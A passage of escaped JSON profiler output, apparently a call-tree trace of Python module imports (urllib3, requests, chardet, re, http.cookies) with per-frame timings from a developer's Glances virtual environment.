0.0020019040020997636},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u00001\",\"time\": 0.004001,\"attributes\": {\"l15\": 0.004000861998065375},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.004001,\"attributes\": {\"l1371\": 0.004000861998065375},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.004001,\"attributes\": {\"l1342\": 0.004000861998065375},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004001,\"attributes\": {\"l938\": 0.004000861998065375},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004001,\"attributes\": {\"cSourceFileLoader\": 0.004000861998065375, \"l758\": 0.0020079660025658086, \"l762\": 0.001992895995499566},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002008,\"attributes\": {\"cSourceFileLoader\": 0.0020079660025658086, \"l854\": 0.0020079660025658086},\"children\": [{\"identifier\": \"get_data\\u0000<frozen importlib._bootstrap_external>\\u0000950\",\"time\": 0.002008,\"attributes\": {\"cSourceFileLoader\": 0.0020079660025658086, \"l953\": 0.0020079660025658086},\"children\": [{\"identifier\": \"open_code\\u0000<built-in>\\u00000\",\"time\": 0.002008,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001993,\"attributes\": {\"l491\": 0.001992895995499566},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/_request_methods.py\\u00001\",\"time\": 0.001993,\"attributes\": {\"l10\": 0.001992895995499566},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001993,\"attributes\": {\"l1371\": 0.001992895995499566},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001993,\"attributes\": {\"l1342\": 0.001992895995499566},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001993,\"attributes\": {\"l938\": 0.001992895995499566},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001993,\"attributes\": {\"cSourceFileLoader\": 0.001992895995499566, \"l762\": 0.001992895995499566},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001993,\"attributes\": {\"l491\": 0.001992895995499566},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/response.py\\u00001\",\"time\": 0.001993,\"attributes\": {\"l31\": 0.001992895995499566},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001993,\"attributes\": {\"l1371\": 0.001992895995499566},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001993,\"attributes\": {\"l1342\": 0.001992895995499566},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001993,\"attributes\": {\"l938\": 0.001992895995499566},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001993,\"attributes\": {\"cSourceFileLoader\": 0.001992895995499566, \"l762\": 0.001992895995499566},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001993,\"attributes\": {\"l491\": 0.001992895995499566},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u00001\",\"time\": 0.001993,\"attributes\": {\"l79\": 0.001992895995499566},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.001993,\"attributes\": {\"l289\": 0.001992895995499566},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001993,\"attributes\": {\"l350\": 0.001992895995499566},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.001993,\"attributes\": {\"l762\": 0.001992895995499566},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.001993,\"attributes\": {\"l973\": 0.001992895995499566},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001993,\"attributes\": {\"l460\": 0.001992895995499566},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001993,\"attributes\": {\"l634\": 0.001992895995499566},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/exceptions.py\\u00001\",\"time\": 0.020004,\"attributes\": {\"l9\": 0.020004316000267863},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.020004,\"attributes\": {\"l1371\": 0.020004316000267863},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.020004,\"attributes\": {\"l1342\": 0.020004316000267863},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.020004,\"attributes\": {\"l938\": 0.020004316000267863},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.020004,\"attributes\": {\"cSourceFileLoader\": 0.020004316000267863, \"l762\": 0.020004316000267863},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.020004,\"attributes\": {\"l491\": 0.020004316000267863},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/compat.py\\u00001\",\"time\": 0.020004,\"attributes\": {\"l42\": 0.014003511001646984, \"l74\": 0.003999236003437545, \"l75\": 0.0020015689951833338},\"children\": [{\"identifier\": \"_resolve_char_detection\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/compat.py\\u000030\",\"time\": 0.014004,\"attributes\": {\"l36\": 0.014003511001646984},\"children\": [{\"identifier\": \"import_module\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/__init__.py\\u000071\",\"time\": 0.014004,\"attributes\": {\"l88\": 0.014003511001646984},\"children\": [{\"identifier\": \"_gcd_import\\u0000<frozen importlib._bootstrap>\\u00001386\",\"time\": 0.014004,\"attributes\": {\"l1398\": 0.014003511001646984},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.014004,\"attributes\": {\"l1371\": 0.014003511001646984},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.014004,\"attributes\": {\"l1342\": 0.014003511001646984},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.014004,\"attributes\": {\"l938\": 0.014003511001646984},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.014004,\"attributes\": {\"cSourceFileLoader\": 0.014003511001646984, \"l758\": 0.002013476005231496, \"l762\": 0.011990034996415488},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002013,\"attributes\": {\"cSourceFileLoader\": 0.002013476005231496, \"l891\": 0.002013476005231496},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002013,\"attributes\": {\"l514\": 0.002013476005231496},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002013,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002013,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.011990,\"attributes\": {\"l491\": 0.011990034996415488},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chardet/__init__.py\\u00001\",\"time\": 0.011990,\"attributes\": {\"l13\": 0.011990034996415488},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.011990,\"attributes\": {\"l1371\": 0.011990034996415488},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.011990,\"attributes\": {\"l1342\": 0.011990034996415488},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.011990,\"attributes\": {\"l938\": 0.011990034996415488},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.011990,\"attributes\": {\"cSourceFileLoader\": 0.011990034996415488, \"l762\": 0.011990034996415488},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.011990,\"attributes\": {\"l491\": 0.011990034996415488},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chardet/detector.py\\u00001\",\"time\": 0.011990,\"attributes\": {\"l12\": 0.007992599996214267, \"l14\": 0.0039974350002012216},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.011990,\"attributes\": {\"l1371\": 0.011990034996415488},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.011990,\"attributes\": {\"l1342\": 0.011990034996415488},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.011990,\"attributes\": {\"l938\": 0.011990034996415488},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.011990,\"attributes\": {\"cSourceFileLoader\": 0.011990034996415488, \"l762\": 0.011990034996415488},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.011990,\"attributes\": {\"l491\": 0.011990034996415488},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chardet/equivalences.py\\u00001\",\"time\": 0.007993,\"attributes\": {\"l25\": 0.001986983996175695, \"l175\": 0.006005616000038572},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001987,\"attributes\": {\"l1371\": 0.001986983996175695},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001987,\"attributes\": {\"l1342\": 0.001986983996175695},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001987,\"attributes\": {\"l938\": 0.001986983996175695},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001987,\"attributes\": {\"cSourceFileLoader\": 0.001986983996175695, \"l762\": 0.001986983996175695},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001987,\"attributes\": {\"l491\": 0.001986983996175695},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chardet/pipeline/__init__.py\\u00001\",\"time\": 0.001987,\"attributes\": {\"l55\": 0.001986983996175695},\"children\": [{\"identifier\": \"wrap\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u00001359\",\"time\": 0.001987,\"attributes\": {\"cPipelineContext\": 0.001986983996175695, \"l1360\": 0.001986983996175695},\"children\": [{\"identifier\": \"_process_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000934\",\"time\": 0.001987,\"attributes\": {\"cPipelineContext\": 0.001986983996175695, \"l1084\": 0.001986983996175695},\"children\": [{\"identifier\": \"_init_fn\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000618\",\"time\": 0.001987,\"attributes\": {\"l669\": 0.001986983996175695},\"children\": [{\"identifier\": \"add_fn\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000445\",\"time\": 0.001987,\"attributes\": {\"c_FuncBuilder\": 0.001986983996175695, \"l448\": 0.001986983996175695},\"children\": [{\"identifier\": \"dict.update\\u0000<built-in>\\u00000\",\"time\": 0.001987,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001987,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chardet/equivalences.py\\u0000175\",\"time\": 0.001999,\"attributes\": {\"l176\": 0.0019992439993075095},\"children\": [{\"identifier\": \"normalize_encoding_name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chardet/equivalences.py\\u000028\",\"time\": 0.001999,\"attributes\": {\"l35\": 0.0019992439993075095},\"children\": [{\"identifier\": \"search_function\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/encodings/__init__.py\\u000071\",\"time\": 0.001999,\"attributes\": {\"l99\": 0.0019992439993075095},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001999,\"attributes\": {\"l1371\": 0.0019992439993075095},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001999,\"attributes\": {\"l1342\": 0.0019992439993075095},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001999,\"attributes\": {\"l938\": 0.0019992439993075095},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019992439993075095, \"l758\": 0.0019992439993075095},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019992439993075095, \"l863\": 0.0019992439993075095},\"children\": [{\"identifier\": \"_classify_pyc\\u0000<frozen importlib._bootstrap_external>\\u0000427\",\"time\": 0.001999,\"attributes\": {\"l452\": 0.0019992439993075095},\"children\": [{\"identifier\": \"_unpack_uint32\\u0000<frozen importlib._bootstrap_external>\\u000089\",\"time\": 0.001999,\"attributes\": {\"l92\": 0.0019992439993075095},\"children\": [{\"identifier\": \"int.from_bytes\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"normalize_encoding_name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chardet/equivalences.py\\u000028\",\"time\": 0.002006,\"attributes\": {\"l35\": 0.002006407994485926},\"children\": [{\"identifier\": \"search_function\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/encodings/__init__.py\\u000071\",\"time\": 0.002006,\"attributes\": {\"l99\": 0.002006407994485926},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002006,\"attributes\": {\"l1371\": 0.002006407994485926},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002006,\"attributes\": {\"l1342\": 0.002006407994485926},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002006,\"attributes\": {\"l938\": 0.002006407994485926},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002006,\"attributes\": {\"cSourceFileLoader\": 0.002006407994485926, \"l758\": 0.002006407994485926},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002006,\"attributes\": {\"cSourceFileLoader\": 0.002006407994485926, \"l891\": 0.002006407994485926},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002006,\"attributes\": {\"l514\": 0.002006407994485926},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002006,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chardet/pipeline/orchestrator.py\\u00001\",\"time\": 0.003997,\"attributes\": {\"l7\": 0.0039974350002012216},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.003997,\"attributes\": {\"l1371\": 0.0039974350002012216},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.003997,\"attributes\": {\"l1327\": 0.001993458005017601, \"l1342\": 0.0020039769951836206},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001993,\"attributes\": {\"l491\": 0.001993458005017601},\"children\": [{\"identifier\": \"_lock_unlock_module\\u0000<frozen importlib._bootstrap>\\u0000466\",\"time\": 0.001993,\"attributes\": {\"l474\": 0.001993458005017601},\"children\": [{\"identifier\": \"acquire\\u0000<frozen importlib._bootstrap>\\u0000304\",\"time\": 0.001993,\"attributes\": {\"c_ModuleLock\": 0.001993458005017601, \"l311\": 0.001993458005017601},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002004,\"attributes\": {\"l924\": 0.0020039769951836206},\"children\": [{\"identifier\": \"module_from_spec\\u0000<frozen importlib._bootstrap>\\u0000809\",\"time\": 0.002004,\"attributes\": {\"l816\": 0.0020039769951836206},\"children\": [{\"identifier\": \"create_module\\u0000<frozen importlib._bootstrap_external>\\u00001054\",\"time\": 0.002004,\"attributes\": {\"cExtensionFileLoader\": 0.0020039769951836206, \"l1056\": 0.0020039769951836206},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002004,\"attributes\": {\"l491\": 0.0020039769951836206},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002004,\"attributes\": {\"l1371\": 0.0020039769951836206},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002004,\"attributes\": {\"l1342\": 0.0020039769951836206},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002004,\"attributes\": {\"l938\": 0.0020039769951836206},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002004,\"attributes\": {\"cSourceFileLoader\": 0.0020039769951836206, \"l762\": 0.0020039769951836206},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002004,\"attributes\": {\"l491\": 0.0020039769951836206},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/chardet/registry.py\\u00001\",\"time\": 0.002004,\"attributes\": {\"l393\": 0.0020039769951836206},\"children\": [{\"identifier\": \"__init__\\u0000<string>\\u00002\",\"time\": 0.002004,\"attributes\": {\"cEncodingInfo\": 0.0020039769951836206, \"l8\": 0.0020039769951836206},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.003999,\"attributes\": {\"l1426\": 0.003999236003437545},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.003999,\"attributes\": {\"l491\": 0.003999236003437545},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.003999,\"attributes\": {\"l1371\": 0.003999236003437545},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.003999,\"attributes\": {\"l1342\": 0.003999236003437545},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.003999,\"attributes\": {\"l924\": 0.0019982330049970187, \"l938\": 0.0020010029984405264},\"children\": [{\"identifier\": \"module_from_spec\\u0000<frozen importlib._bootstrap>\\u0000809\",\"time\": 0.001998,\"attributes\": {\"l822\": 0.0019982330049970187},\"children\": [{\"identifier\": \"_init_module_attrs\\u0000<frozen importlib._bootstrap>\\u0000736\",\"time\": 0.001998,\"attributes\": {\"l801\": 0.0019982330049970187},\"children\": [{\"identifier\": \"cached\\u0000<frozen importlib._bootstrap>\\u0000635\",\"time\": 0.001998,\"attributes\": {\"cModuleSpec\": 0.0019982330049970187, \"l641\": 0.0019982330049970187},\"children\": [{\"identifier\": \"_get_cached\\u0000<frozen importlib._bootstrap_external>\\u0000372\",\"time\": 0.001998,\"attributes\": {\"l375\": 0.0019982330049970187},\"children\": [{\"identifier\": \"cache_from_source\\u0000<frozen importlib._bootstrap_external>\\u0000243\",\"time\": 0.001998,\"attributes\": {\"l270\": 0.0019982330049970187},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.0020010029984405264, \"l762\": 0.0020010029984405264},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020010029984405264},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/cookiejar.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l211\": 0.0020010029984405264},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.002001,\"attributes\": {\"l289\": 0.0020010029984405264},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.002001,\"attributes\": {\"l350\": 0.0020010029984405264},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.002001,\"attributes\": {\"l762\": 0.0020010029984405264},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.002001,\"attributes\": {\"l973\": 0.0020010029984405264},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.002001,\"attributes\": {\"l460\": 0.0020010029984405264},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.002001,\"attributes\": {\"l856\": 0.0020010029984405264},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.002001,\"attributes\": {\"l460\": 0.0020010029984405264},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.002001,\"attributes\": {\"l530\": 0.0020010029984405264},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000261\",\"time\": 0.002001,\"attributes\": {\"cTokenizer\": 0.0020010029984405264, \"l263\": 0.0020010029984405264},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002002,\"attributes\": {\"l1371\": 0.0020015689951833338},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002002,\"attributes\": {\"l1342\": 0.0020015689951833338},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002002,\"attributes\": {\"l938\": 0.0020015689951833338},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002002,\"attributes\": {\"cSourceFileLoader\": 0.0020015689951833338, \"l762\": 0.0020015689951833338},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002002,\"attributes\": {\"l491\": 0.0020015689951833338},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/cookies.py\\u00001\",\"time\": 0.002002,\"attributes\": {\"l172\": 0.0020015689951833338},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.002002,\"attributes\": {\"l289\": 0.0020015689951833338},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.002002,\"attributes\": {\"l350\": 0.0020015689951833338},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.002002,\"attributes\": {\"l762\": 0.0020015689951833338},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.002002,\"attributes\": {\"l973\": 0.0020015689951833338},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.002002,\"attributes\": {\"l460\": 0.0020015689951833338},\"children\": [{\"identifier\": 